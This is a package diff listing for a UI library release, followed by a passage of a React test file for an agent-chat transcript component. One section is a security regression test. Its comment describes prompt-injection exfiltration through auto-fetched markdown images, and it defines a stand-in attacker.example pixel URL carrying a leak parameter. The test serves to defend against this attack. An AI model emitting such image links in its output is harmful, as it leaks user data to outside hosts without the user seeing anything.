basalt-ui 1.10.0 → 1.12.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +21 -21
- package/CHANGELOG.md +25 -0
- package/README.md +36 -27
- package/agent/rules/basalt-content.md +16 -3
- package/dist/agent/adapter.d.ts +146 -0
- package/dist/agent/adapter.d.ts.map +1 -0
- package/dist/agent/adapter.js +473 -0
- package/dist/agent/adapter.test.d.ts +2 -0
- package/dist/agent/adapter.test.d.ts.map +1 -0
- package/dist/agent/ai-sdk-transport.d.ts +3 -52
- package/dist/agent/ai-sdk-transport.d.ts.map +1 -1
- package/dist/agent/ai-sdk-transport.js +108 -24
- package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
- package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
- package/dist/agent/coalesce.d.ts +42 -0
- package/dist/agent/coalesce.d.ts.map +1 -0
- package/dist/agent/coalesce.js +137 -0
- package/dist/agent/coalesce.test.d.ts +2 -0
- package/dist/agent/coalesce.test.d.ts.map +1 -0
- package/dist/agent/foreign.d.ts +97 -0
- package/dist/agent/foreign.d.ts.map +1 -0
- package/dist/agent/foreign.js +18 -0
- package/dist/agent/foreign.test.d.ts +2 -0
- package/dist/agent/foreign.test.d.ts.map +1 -0
- package/dist/agent/history.d.ts +2 -0
- package/dist/agent/history.d.ts.map +1 -1
- package/dist/agent/id.d.ts +65 -0
- package/dist/agent/id.d.ts.map +1 -0
- package/dist/agent/id.js +30 -0
- package/dist/agent/id.test.d.ts +2 -0
- package/dist/agent/id.test.d.ts.map +1 -0
- package/dist/agent/index.d.ts +11 -4
- package/dist/agent/index.d.ts.map +1 -1
- package/dist/agent/index.js +18 -3
- package/dist/agent/merge.d.ts +8 -0
- package/dist/agent/merge.d.ts.map +1 -0
- package/dist/agent/merge.js +35 -0
- package/dist/agent/merge.test.d.ts +2 -0
- package/dist/agent/merge.test.d.ts.map +1 -0
- package/dist/agent/part-list.d.ts +49 -34
- package/dist/agent/part-list.d.ts.map +1 -1
- package/dist/agent/part-list.js +53 -7
- package/dist/agent/part-list.test.d.ts +2 -0
- package/dist/agent/part-list.test.d.ts.map +1 -0
- package/dist/agent/parts.d.ts +135 -20
- package/dist/agent/parts.d.ts.map +1 -1
- package/dist/agent/parts.js +138 -11
- package/dist/agent/parts.test.d.ts +2 -0
- package/dist/agent/parts.test.d.ts.map +1 -0
- package/dist/agent/thread.d.ts +14 -0
- package/dist/agent/thread.d.ts.map +1 -1
- package/dist/agent/thread.js +8 -2
- package/dist/agent/thread.test.d.ts +2 -0
- package/dist/agent/thread.test.d.ts.map +1 -0
- package/dist/agent/transport.d.ts +39 -3
- package/dist/agent/transport.d.ts.map +1 -1
- package/dist/agent/transport.js +20 -17
- package/dist/agent/transport.test.d.ts +2 -0
- package/dist/agent/transport.test.d.ts.map +1 -0
- package/dist/agent/use-agent-stream.d.ts +2 -1
- package/dist/agent/use-agent-stream.d.ts.map +1 -1
- package/dist/agent/use-agent-stream.js +5 -2
- package/dist/agent/use-agent-stream.test.d.ts +2 -0
- package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.d.ts +9 -3
- package/dist/agent/use-agent-thread-runs.d.ts.map +1 -1
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.js +75 -23
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
- package/dist/agent-chat/composer.d.ts +130 -8
- package/dist/agent-chat/composer.d.ts.map +1 -1
- package/dist/agent-chat/composer.js +189 -23
- package/dist/agent-chat/composer.test.d.ts +2 -0
- package/dist/agent-chat/composer.test.d.ts.map +1 -0
- package/dist/agent-chat/index.d.ts +3 -1
- package/dist/agent-chat/index.d.ts.map +1 -1
- package/dist/agent-chat/index.js +2 -0
- package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
- package/dist/agent-chat/thread-detail-panel.js +1 -1
- package/dist/agent-chat/thread-message.d.ts +24 -7
- package/dist/agent-chat/thread-message.d.ts.map +1 -1
- package/dist/agent-chat/thread-message.js +115 -45
- package/dist/agent-chat/thread-message.test.d.ts +2 -0
- package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
- package/dist/agent-chat/thread-workspace.js +1 -1
- package/dist/agent-chat/tool-chip.d.ts +21 -0
- package/dist/agent-chat/tool-chip.d.ts.map +1 -0
- package/dist/agent-chat/tool-chip.js +120 -0
- package/dist/agent-chat/tool-chip.test.d.ts +2 -0
- package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
- package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
- package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
- package/dist/charts/utils/domain.test.d.ts +2 -0
- package/dist/charts/utils/domain.test.d.ts.map +1 -0
- package/dist/cli/check-theme.test.d.ts +2 -0
- package/dist/cli/check-theme.test.d.ts.map +1 -0
- package/dist/cli/help.test.d.ts +2 -0
- package/dist/cli/help.test.d.ts.map +1 -0
- package/dist/cli/index.d.ts.map +1 -1
- package/dist/cli/init-sync.test.d.ts +2 -0
- package/dist/cli/init-sync.test.d.ts.map +1 -0
- package/dist/cli/placement-engine.test.d.ts +2 -0
- package/dist/cli/placement-engine.test.d.ts.map +1 -0
- package/dist/cli/tarball-parity.test.d.ts +2 -0
- package/dist/cli/tarball-parity.test.d.ts.map +1 -0
- package/dist/cli/template-format.test.d.ts +2 -0
- package/dist/cli/template-format.test.d.ts.map +1 -0
- package/dist/cli/template-ledger.test.d.ts +2 -0
- package/dist/cli/template-ledger.test.d.ts.map +1 -0
- package/dist/cli/tokens-css.test.d.ts +2 -0
- package/dist/cli/tokens-css.test.d.ts.map +1 -0
- package/dist/content/article-actions.test.d.ts +2 -0
- package/dist/content/article-actions.test.d.ts.map +1 -0
- package/dist/content/article-model.test.d.ts +2 -0
- package/dist/content/article-model.test.d.ts.map +1 -0
- package/dist/content/block-split.test.d.ts +2 -0
- package/dist/content/block-split.test.d.ts.map +1 -0
- package/dist/content/fence-block.d.ts +37 -10
- package/dist/content/fence-block.d.ts.map +1 -1
- package/dist/content/fence-block.js +80 -14
- package/dist/content/heading-components.d.ts.map +1 -1
- package/dist/content/heading-components.js +7 -4
- package/dist/content/heading-components.test.d.ts +2 -0
- package/dist/content/heading-components.test.d.ts.map +1 -0
- package/dist/content/index.d.ts +6 -3
- package/dist/content/index.d.ts.map +1 -1
- package/dist/content/index.js +5 -1
- package/dist/content/markdown.d.ts +101 -14
- package/dist/content/markdown.d.ts.map +1 -1
- package/dist/content/markdown.js +141 -28
- package/dist/content/markdown.test.d.ts +2 -0
- package/dist/content/markdown.test.d.ts.map +1 -0
- package/dist/content/prose.module.css.test.d.ts +2 -0
- package/dist/content/prose.module.css.test.d.ts.map +1 -0
- package/dist/content/sanitize.d.ts +170 -0
- package/dist/content/sanitize.d.ts.map +1 -0
- package/dist/content/sanitize.js +178 -0
- package/dist/content/sanitize.test.d.ts +2 -0
- package/dist/content/sanitize.test.d.ts.map +1 -0
- package/dist/content/slug.test.d.ts +2 -0
- package/dist/content/slug.test.d.ts.map +1 -0
- package/dist/dashboard/stat-card.test.d.ts +2 -0
- package/dist/dashboard/stat-card.test.d.ts.map +1 -0
- package/dist/guard/check-source.test.d.ts +2 -0
- package/dist/guard/check-source.test.d.ts.map +1 -0
- package/dist/guard/guard-hook.test.d.ts +2 -0
- package/dist/guard/guard-hook.test.d.ts.map +1 -0
- package/dist/guard/index.d.ts.map +1 -1
- package/dist/guard/index.js +1 -3
- package/dist/index.d.ts +4 -4
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +12 -2
- package/dist/provider/index.test.d.ts +2 -0
- package/dist/provider/index.test.d.ts.map +1 -0
- package/dist/provider/lab-theme.test.d.ts +2 -0
- package/dist/provider/lab-theme.test.d.ts.map +1 -0
- package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
- package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
- package/dist/styles.floor.test.d.ts +2 -0
- package/dist/styles.floor.test.d.ts.map +1 -0
- package/dist/surfaces.d.ts +5 -5
- package/dist/surfaces.d.ts.map +1 -1
- package/dist/surfaces.js +13 -4
- package/dist/theme/border-coverage.test.d.ts +18 -0
- package/dist/theme/border-coverage.test.d.ts.map +1 -0
- package/dist/theme/contrast.test.d.ts +2 -0
- package/dist/theme/contrast.test.d.ts.map +1 -0
- package/dist/theme/density-option.test.d.ts +2 -0
- package/dist/theme/density-option.test.d.ts.map +1 -0
- package/dist/theme/density-relations.test.d.ts +2 -0
- package/dist/theme/density-relations.test.d.ts.map +1 -0
- package/dist/theme/derive-theme.test.d.ts +2 -0
- package/dist/theme/derive-theme.test.d.ts.map +1 -0
- package/dist/theme/fonts-option.test.d.ts +2 -0
- package/dist/theme/fonts-option.test.d.ts.map +1 -0
- package/dist/theme/radius-option.test.d.ts +2 -0
- package/dist/theme/radius-option.test.d.ts.map +1 -0
- package/dist/theme/radius.test.d.ts +2 -0
- package/dist/theme/radius.test.d.ts.map +1 -0
- package/dist/theme/shadow-surfaces.test.d.ts +26 -0
- package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
- package/dist/theme/spacing.test.d.ts +2 -0
- package/dist/theme/spacing.test.d.ts.map +1 -0
- package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
- package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
- package/dist/theme-lab/derive-controls.test.d.ts +2 -0
- package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
- package/dist/theme-lab/derive-state.test.d.ts +2 -0
- package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
- package/dist/theme-lab/theme-lab.test.d.ts +2 -0
- package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
- package/dist/tokens/build-fonts-css.test.d.ts +2 -0
- package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
- package/dist/tokens/build-radius-css.test.d.ts +2 -0
- package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
- package/dist/tokens/density.test.d.ts +2 -0
- package/dist/tokens/density.test.d.ts.map +1 -0
- package/dist/tokens/derive-radius.test.d.ts +2 -0
- package/dist/tokens/derive-radius.test.d.ts.map +1 -0
- package/dist/tokens/derive.test.d.ts +2 -0
- package/dist/tokens/derive.test.d.ts.map +1 -0
- package/dist/tokens/palette.test.d.ts +2 -0
- package/dist/tokens/palette.test.d.ts.map +1 -0
- package/dist/vite-color-mix.test.d.ts +2 -0
- package/dist/vite-color-mix.test.d.ts.map +1 -0
- package/dist/vite.test.d.ts +2 -0
- package/dist/vite.test.d.ts.map +1 -0
- package/llms.txt +7 -7
- package/package.json +6 -1
- package/src/agent/adapter.test.ts +1403 -0
- package/src/agent/adapter.ts +887 -0
- package/src/agent/ai-sdk-transport.test.ts +380 -55
- package/src/agent/ai-sdk-transport.ts +206 -53
- package/src/agent/coalesce.test.ts +387 -0
- package/src/agent/coalesce.ts +229 -0
- package/src/agent/foreign.test.ts +51 -0
- package/src/agent/foreign.ts +140 -0
- package/src/agent/history.ts +2 -0
- package/src/agent/id.test.ts +75 -0
- package/src/agent/id.ts +91 -0
- package/src/agent/index.ts +34 -3
- package/src/agent/merge.test.ts +206 -0
- package/src/agent/merge.ts +114 -0
- package/src/agent/part-list.test.tsx +112 -0
- package/src/agent/part-list.tsx +108 -35
- package/src/agent/parts.test.ts +516 -57
- package/src/agent/parts.ts +323 -32
- package/src/agent/thread.test.ts +75 -2
- package/src/agent/thread.ts +21 -1
- package/src/agent/transport.test.ts +70 -0
- package/src/agent/transport.ts +72 -20
- package/src/agent/use-agent-stream.test.tsx +53 -19
- package/src/agent/use-agent-stream.ts +13 -3
- package/src/agent/use-agent-thread-runs.foreign.test.tsx +138 -0
- package/src/agent/use-agent-thread-runs.resume.test.tsx +44 -11
- package/src/agent/use-agent-thread-runs.test.tsx +418 -22
- package/src/agent/use-agent-thread-runs.ts +170 -26
- package/src/agent/use-agent-thread-runs.wedge.test.tsx +15 -7
- package/src/agent-chat/composer.test.tsx +924 -0
- package/src/agent-chat/composer.tsx +521 -52
- package/src/agent-chat/index.ts +5 -1
- package/src/agent-chat/thread-detail-panel.tsx +3 -1
- package/src/agent-chat/thread-message.test.tsx +351 -0
- package/src/agent-chat/thread-message.tsx +262 -64
- package/src/agent-chat/thread-workspace.tsx +1 -1
- package/src/agent-chat/tool-chip.test.tsx +139 -0
- package/src/agent-chat/tool-chip.tsx +219 -0
- package/src/cli/index.ts +0 -1
- package/src/cli/template-format.test.ts +2 -2
- package/src/content/fence-block.tsx +242 -15
- package/src/content/heading-components.test.tsx +65 -0
- package/src/content/heading-components.tsx +26 -5
- package/src/content/index.ts +19 -3
- package/src/content/markdown.test.tsx +603 -0
- package/src/content/markdown.tsx +355 -35
- package/src/content/sanitize.test.ts +659 -0
- package/src/content/sanitize.ts +510 -0
- package/src/dashboard/stat-card.test.tsx +6 -1
- package/src/guard/check-source.test.ts +8 -4
- package/src/guard/index.ts +1 -3
- package/src/index.ts +15 -1
- package/src/surfaces.ts +13 -4
- package/src/theme/contrast.test.ts +1 -4
- package/src/theme/density-relations.test.ts +4 -2
- package/src/theme/fonts-option.test.ts +7 -1
- package/src/theme/shadow-surfaces.test.ts +12 -6
- package/src/theme/use-basalt-spacing.test.tsx +2 -1
|
@@ -0,0 +1,351 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ThreadTranscript — the open part-renderer registry's resolution order, the dev/prod fallback
|
|
3
|
+
* contract, and the `MessageBlock` memoization budget from AGENT-CHAT-SPEC.md §9.
|
|
4
|
+
*
|
|
5
|
+
* `messageBlockRenderCounter` is imported directly from `./thread-message` (bypassing the
|
|
6
|
+
* `agent-chat` barrel on purpose — it is not part of the public surface) to prove the memo
|
|
7
|
+
* boundary in a controlled render-count harness.
|
|
8
|
+
*/
|
|
9
|
+
import { MantineProvider } from '@mantine/core'
|
|
10
|
+
import { cleanup, render, screen } from '@testing-library/react'
|
|
11
|
+
import { afterEach, describe, expect, test } from 'bun:test'
|
|
12
|
+
import { definePartRenderers } from '../agent'
|
|
13
|
+
import type { ChatMessage, TranscriptPart } from '../agent'
|
|
14
|
+
import { messageBlockRenderCounter, ThreadTranscript } from './thread-message'
|
|
15
|
+
|
|
16
|
+
afterEach(cleanup)
|
|
17
|
+
|
|
18
|
+
function withNodeEnv<T>(value: string, fn: () => T): T {
|
|
19
|
+
const original = process.env['NODE_ENV']
|
|
20
|
+
process.env['NODE_ENV'] = value
|
|
21
|
+
try {
|
|
22
|
+
return fn()
|
|
23
|
+
} finally {
|
|
24
|
+
// `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
|
|
25
|
+
// signature isn't valid, so restore by deleting the key instead.
|
|
26
|
+
if (original === undefined) delete process.env['NODE_ENV']
|
|
27
|
+
else process.env['NODE_ENV'] = original
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function buildMessages(count: number): ChatMessage<TranscriptPart>[] {
|
|
32
|
+
return Array.from({ length: count }, (_, i) => {
|
|
33
|
+
const role: ChatMessage<TranscriptPart>['role'] = i % 2 === 0 ? 'user' : 'assistant'
|
|
34
|
+
return {
|
|
35
|
+
id: `m${i}`,
|
|
36
|
+
role,
|
|
37
|
+
parts: [{ id: `m${i}-p1`, type: 'text', text: `message ${i}` }],
|
|
38
|
+
createdAt: i,
|
|
39
|
+
}
|
|
40
|
+
})
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
describe('resolution order', () => {
|
|
44
|
+
test('a registered consumer renderer wins over the built-in union', () => {
|
|
45
|
+
const renderers = definePartRenderers({
|
|
46
|
+
'data-chart': () => <div data-testid="chart" />,
|
|
47
|
+
})
|
|
48
|
+
const messages: ChatMessage<TranscriptPart>[] = [
|
|
49
|
+
{
|
|
50
|
+
id: 'm1',
|
|
51
|
+
role: 'assistant',
|
|
52
|
+
parts: [{ id: 'p1', type: 'data-chart', spec: {} }],
|
|
53
|
+
createdAt: 0,
|
|
54
|
+
},
|
|
55
|
+
]
|
|
56
|
+
|
|
57
|
+
render(
|
|
58
|
+
<MantineProvider>
|
|
59
|
+
<ThreadTranscript messages={messages} renderers={renderers} />
|
|
60
|
+
</MantineProvider>,
|
|
61
|
+
)
|
|
62
|
+
|
|
63
|
+
expect(screen.getByTestId('chart')).toBeDefined()
|
|
64
|
+
})
|
|
65
|
+
|
|
66
|
+
test('a built-in AgentPart type still routes through PartList when unclaimed by renderers', () => {
|
|
67
|
+
const messages: ChatMessage<TranscriptPart>[] = [
|
|
68
|
+
{
|
|
69
|
+
id: 'm1',
|
|
70
|
+
role: 'assistant',
|
|
71
|
+
parts: [{ id: 'p1', type: 'text', text: 'hello' }],
|
|
72
|
+
createdAt: 0,
|
|
73
|
+
},
|
|
74
|
+
]
|
|
75
|
+
|
|
76
|
+
render(
|
|
77
|
+
<MantineProvider>
|
|
78
|
+
<ThreadTranscript messages={messages} />
|
|
79
|
+
</MantineProvider>,
|
|
80
|
+
)
|
|
81
|
+
|
|
82
|
+
expect(screen.getByText('hello')).toBeDefined()
|
|
83
|
+
})
|
|
84
|
+
})
|
|
85
|
+
|
|
86
|
+
describe('unknown-part fallback — never throws, dev-visible, prod-silent', () => {
|
|
87
|
+
const messages: ChatMessage<TranscriptPart>[] = [
|
|
88
|
+
{
|
|
89
|
+
id: 'm1',
|
|
90
|
+
role: 'assistant',
|
|
91
|
+
parts: [{ id: 'p1', type: 'data-chart', spec: {} }],
|
|
92
|
+
createdAt: 0,
|
|
93
|
+
},
|
|
94
|
+
]
|
|
95
|
+
|
|
96
|
+
test('renders a visible UnknownPartChip outside production', () => {
|
|
97
|
+
withNodeEnv('development', () => {
|
|
98
|
+
expect(() =>
|
|
99
|
+
render(
|
|
100
|
+
<MantineProvider>
|
|
101
|
+
<ThreadTranscript messages={messages} />
|
|
102
|
+
</MantineProvider>,
|
|
103
|
+
),
|
|
104
|
+
).not.toThrow()
|
|
105
|
+
expect(screen.getByText(/Unknown part: data-chart/)).toBeDefined()
|
|
106
|
+
})
|
|
107
|
+
})
|
|
108
|
+
|
|
109
|
+
test('renders nothing in production, and still never throws', () => {
|
|
110
|
+
withNodeEnv('production', () => {
|
|
111
|
+
expect(() =>
|
|
112
|
+
render(
|
|
113
|
+
<MantineProvider>
|
|
114
|
+
<ThreadTranscript messages={messages} />
|
|
115
|
+
</MantineProvider>,
|
|
116
|
+
),
|
|
117
|
+
).not.toThrow()
|
|
118
|
+
expect(screen.queryByText(/Unknown part/)).toBeNull()
|
|
119
|
+
})
|
|
120
|
+
})
|
|
121
|
+
})
|
|
122
|
+
|
|
123
|
+
function messageWithFinish(
|
|
124
|
+
finish: ChatMessage<TranscriptPart>['finish'],
|
|
125
|
+
): ChatMessage<TranscriptPart>[] {
|
|
126
|
+
return [
|
|
127
|
+
{
|
|
128
|
+
id: 'm1',
|
|
129
|
+
role: 'assistant',
|
|
130
|
+
parts: [{ id: 'p1', type: 'text', text: 'hello' }],
|
|
131
|
+
createdAt: 0,
|
|
132
|
+
...(finish === undefined ? {} : { finish }),
|
|
133
|
+
},
|
|
134
|
+
]
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
|
|
138
|
+
test('finish: stopped renders an indicator with accessible text', () => {
|
|
139
|
+
render(
|
|
140
|
+
<MantineProvider>
|
|
141
|
+
<ThreadTranscript messages={messageWithFinish('stopped')} />
|
|
142
|
+
</MantineProvider>,
|
|
143
|
+
)
|
|
144
|
+
|
|
145
|
+
expect(screen.getByText('Stopped')).toBeDefined()
|
|
146
|
+
})
|
|
147
|
+
|
|
148
|
+
test('finish: error renders an indicator with accessible text', () => {
|
|
149
|
+
render(
|
|
150
|
+
<MantineProvider>
|
|
151
|
+
<ThreadTranscript messages={messageWithFinish('error')} />
|
|
152
|
+
</MantineProvider>,
|
|
153
|
+
)
|
|
154
|
+
|
|
155
|
+
expect(screen.getByText('Error')).toBeDefined()
|
|
156
|
+
})
|
|
157
|
+
|
|
158
|
+
test('finish: complete renders no indicator', () => {
|
|
159
|
+
render(
|
|
160
|
+
<MantineProvider>
|
|
161
|
+
<ThreadTranscript messages={messageWithFinish('complete')} />
|
|
162
|
+
</MantineProvider>,
|
|
163
|
+
)
|
|
164
|
+
|
|
165
|
+
expect(screen.queryByText('Stopped')).toBeNull()
|
|
166
|
+
expect(screen.queryByText('Error')).toBeNull()
|
|
167
|
+
expect(screen.queryByText('Complete')).toBeNull()
|
|
168
|
+
})
|
|
169
|
+
|
|
170
|
+
test("finish absent renders no indicator, identical to today's output", () => {
|
|
171
|
+
render(
|
|
172
|
+
<MantineProvider>
|
|
173
|
+
<ThreadTranscript messages={messageWithFinish(undefined)} />
|
|
174
|
+
</MantineProvider>,
|
|
175
|
+
)
|
|
176
|
+
|
|
177
|
+
expect(screen.getByText('hello')).toBeDefined()
|
|
178
|
+
expect(screen.queryByText('Stopped')).toBeNull()
|
|
179
|
+
expect(screen.queryByText('Error')).toBeNull()
|
|
180
|
+
})
|
|
181
|
+
})
|
|
182
|
+
|
|
183
|
+
// ── The settle fix ────────────────────────────────────────────────────────────
|
|
184
|
+
//
|
|
185
|
+
// `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
|
|
186
|
+
// tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
|
|
187
|
+
// visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
|
|
188
|
+
// and the last block of every finished message permanently hid its copy action.
|
|
189
|
+
|
|
190
|
+
const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n A --> B\n```'
|
|
191
|
+
const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
|
|
192
|
+
|
|
193
|
+
function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
|
|
194
|
+
return [
|
|
195
|
+
{ id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
|
|
196
|
+
]
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
describe('settled threading — a finished message settles its FINAL block', () => {
|
|
200
|
+
test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
|
|
201
|
+
render(
|
|
202
|
+
<MantineProvider>
|
|
203
|
+
<ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
|
|
204
|
+
</MantineProvider>,
|
|
205
|
+
)
|
|
206
|
+
|
|
207
|
+
// MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
|
|
208
|
+
// plain <pre> instead.
|
|
209
|
+
expect(await screen.findByRole('img')).toBeDefined()
|
|
210
|
+
})
|
|
211
|
+
|
|
212
|
+
test('the final block keeps its copy action', async () => {
|
|
213
|
+
render(
|
|
214
|
+
<MantineProvider>
|
|
215
|
+
<ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
|
|
216
|
+
</MantineProvider>,
|
|
217
|
+
)
|
|
218
|
+
|
|
219
|
+
await screen.findByText('final body')
|
|
220
|
+
expect(screen.getByLabelText('Copy code')).toBeDefined()
|
|
221
|
+
})
|
|
222
|
+
})
|
|
223
|
+
|
|
224
|
+
describe('settled threading — a streaming message leaves its tail unsettled', () => {
|
|
225
|
+
test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
|
|
226
|
+
render(
|
|
227
|
+
<MantineProvider>
|
|
228
|
+
<ThreadTranscript
|
|
229
|
+
messages={[]}
|
|
230
|
+
liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
|
|
231
|
+
liveStatus="streaming"
|
|
232
|
+
/>
|
|
233
|
+
</MantineProvider>,
|
|
234
|
+
)
|
|
235
|
+
|
|
236
|
+
const code = await screen.findByText(/graph TD/)
|
|
237
|
+
expect(code.closest('pre')).not.toBeNull()
|
|
238
|
+
expect(screen.queryByRole('img')).toBeNull()
|
|
239
|
+
expect(screen.queryByLabelText('Copy code')).toBeNull()
|
|
240
|
+
})
|
|
241
|
+
|
|
242
|
+
test('the same message settles once the run stops streaming', async () => {
|
|
243
|
+
const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
|
|
244
|
+
const { rerender } = render(
|
|
245
|
+
<MantineProvider>
|
|
246
|
+
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
|
|
247
|
+
</MantineProvider>,
|
|
248
|
+
)
|
|
249
|
+
|
|
250
|
+
await screen.findByText(/graph TD/)
|
|
251
|
+
expect(screen.queryByRole('img')).toBeNull()
|
|
252
|
+
|
|
253
|
+
// Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
|
|
254
|
+
// must not swallow this final transition (it compares `streaming` explicitly).
|
|
255
|
+
rerender(
|
|
256
|
+
<MantineProvider>
|
|
257
|
+
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
|
|
258
|
+
</MantineProvider>,
|
|
259
|
+
)
|
|
260
|
+
|
|
261
|
+
expect(await screen.findByRole('img')).toBeDefined()
|
|
262
|
+
})
|
|
263
|
+
})
|
|
264
|
+
|
|
265
|
+
// ── Image exfiltration guard ──────────────────────────────────────────────────
|
|
266
|
+
//
|
|
267
|
+
// THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
|
|
268
|
+
// `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
|
|
269
|
+
// `` fires a GET the
|
|
270
|
+
// moment the transcript paints, with no click and nothing visible.
|
|
271
|
+
//
|
|
272
|
+
// The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
|
|
273
|
+
// settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
|
|
274
|
+
// and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
|
|
275
|
+
// nearly the whole transcript) silently regained the open `https://` default. Trust is a property
|
|
276
|
+
// of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
|
|
277
|
+
// again. The settled case below is the one that regressed.
|
|
278
|
+
|
|
279
|
+
const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
|
|
280
|
+
const IMAGE_DOC = `\n\n`
|
|
281
|
+
|
|
282
|
+
describe('transcript images — agent text is untrusted whether or not it has settled', () => {
|
|
283
|
+
async function renderTranscript(streamingTurn: boolean) {
|
|
284
|
+
const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
|
|
285
|
+
const { container } = render(
|
|
286
|
+
<MantineProvider>
|
|
287
|
+
{streamingTurn ? (
|
|
288
|
+
<ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
|
|
289
|
+
) : (
|
|
290
|
+
<ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
|
|
291
|
+
)}
|
|
292
|
+
</MantineProvider>,
|
|
293
|
+
)
|
|
294
|
+
// `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
|
|
295
|
+
// satisfy it — this waits for the real pipeline, and its success also proves same-origin
|
|
296
|
+
// images still render (an allowlist, not a blanket image kill).
|
|
297
|
+
await screen.findByAltText('local')
|
|
298
|
+
return container
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
|
|
302
|
+
const container = await renderTranscript(false)
|
|
303
|
+
|
|
304
|
+
expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
|
|
305
|
+
// Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
|
|
306
|
+
// not as a src, not as a srcset, not as text.
|
|
307
|
+
expect(screen.queryByAltText('probe')).toBeNull()
|
|
308
|
+
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
309
|
+
expect(container.innerHTML).not.toContain('attacker.example')
|
|
310
|
+
})
|
|
311
|
+
|
|
312
|
+
test('an in-flight assistant turn does not render one either', async () => {
|
|
313
|
+
const container = await renderTranscript(true)
|
|
314
|
+
|
|
315
|
+
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
316
|
+
expect(container.innerHTML).not.toContain('attacker.example')
|
|
317
|
+
})
|
|
318
|
+
})
|
|
319
|
+
|
|
320
|
+
describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
|
|
321
|
+
test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
|
|
322
|
+
const messages = buildMessages(50)
|
|
323
|
+
const { rerender } = render(
|
|
324
|
+
<MantineProvider>
|
|
325
|
+
<ThreadTranscript
|
|
326
|
+
messages={messages}
|
|
327
|
+
liveParts={[{ id: 'live', type: 'text', text: 'a' }]}
|
|
328
|
+
liveStatus="streaming"
|
|
329
|
+
/>
|
|
330
|
+
</MantineProvider>,
|
|
331
|
+
)
|
|
332
|
+
|
|
333
|
+
// Mount executes every MessageBlock once (nothing to bail out against yet) — that is not the
|
|
334
|
+
// measurement. Reset the counter once the initial render has settled.
|
|
335
|
+
messageBlockRenderCounter.count = 0
|
|
336
|
+
|
|
337
|
+
// Same `messages` array reference (unchanged settled history) + a NEW `liveParts` array
|
|
338
|
+
// reference (the streamed delta) — the one prop a delta actually changes.
